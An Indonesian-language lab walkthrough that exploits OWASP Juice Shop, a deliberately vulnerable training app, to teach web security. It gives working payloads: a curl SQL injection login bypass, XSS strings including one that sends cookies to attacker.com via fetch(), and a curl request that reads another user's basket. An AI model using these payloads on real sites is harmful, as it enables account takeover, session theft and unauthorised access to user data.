Juice Shop - OWASP Top Vulnerabilities
Target:
juice.vuln.cybersecurity.or.id:3000| Level: Menengah | Tools:curl, Browser
Challenge
OWASP Juice Shop adalah aplikasi web Node.js yang sengaja dibuat rentan. Kali ini kita akan mengeksploitasi 3 kerentanan utama:
- SQL Injection login bypass
- Cross-Site Scripting (XSS)
- Broken Access Control (mengakses keranjang orang lain)
1. SQL Injection - Login Bypass
Langkah 1: Identifikasi Form Login
Buka halaman utama, klik Login. Ada form email + password.
Langkah 2: Uji SQL Injection
Kirim payload SQL Injection pada field email:
curl -X POST http://juice.vuln.cybersecurity.or.id:3000/rest/user/login \\
-H "Content-Type: application/json" \\
-d '{"email":"'"'"' OR 1=1--","password":"test"}'
Hasil:
{
"authentication": {
"token": "eyJ0eX...",
"bid": 1,
}
}
✅ Login berhasil sebagai admin! Token JWT dikembalikan.
Mengapa ini bisa terjadi? Query SQL yang dihasilkan:
SELECT * FROM Users WHERE email='' OR 1=1--'- kondisiOR 1=1membuat query selalu true.
2. Cross-Site Scripting (XSS)
Stored XSS via Feedback
Buka halaman Contact Us atau Customer Feedback. Kirim komentar dengan payload XSS:
<script>alert('XSS')</script>
Atau untuk mencuri cookie:
<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
Reflected XSS via Search
Coba cari produk dengan payload XSS:
http://juice.vuln.cybersecurity.or.id:3000/#/search?q=<script>alert(document.cookie)</script>
3. Broken Access Control - Basket Access
Langkah 1: Daftarkan 2 akun berbeda
Buat akun A dan akun B, lalu login ke masing-masing.
Langkah 2: Intersep Request Keranjang
Gunakan Burp Suite atau browser DevTools, cari request ke:
GET /api/Basket/<id>
Langkah 3: Akses Keranjang User Lain
Ubah bid (basket ID) di JWT token atau langsung akses:
# Token dari admin login sebelumnya
TOKEN="eyJ0eX..."
# Akses keranjang dengan ID berbeda
curl -s http://juice.vuln.cybersecurity.or.id:3000/api/Basket/2 \\
-H "Authorization: Bearer $TOKEN"
Jika berhasil, Anda bisa melihat isi keranjang user lain tanpa otorisasi.
Kesimpulan
| Vulnerability | Dampak |
|---|---|
| SQL Injection | Login sebagai admin tanpa password |
| Stored/Reflected XSS | Mencuri cookie, deface, phishing |
| Broken Access Control | Akses data pengguna lain |
Referensi
Walkthrough ini disusun untuk tujuan edukasi keamanan siber. Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy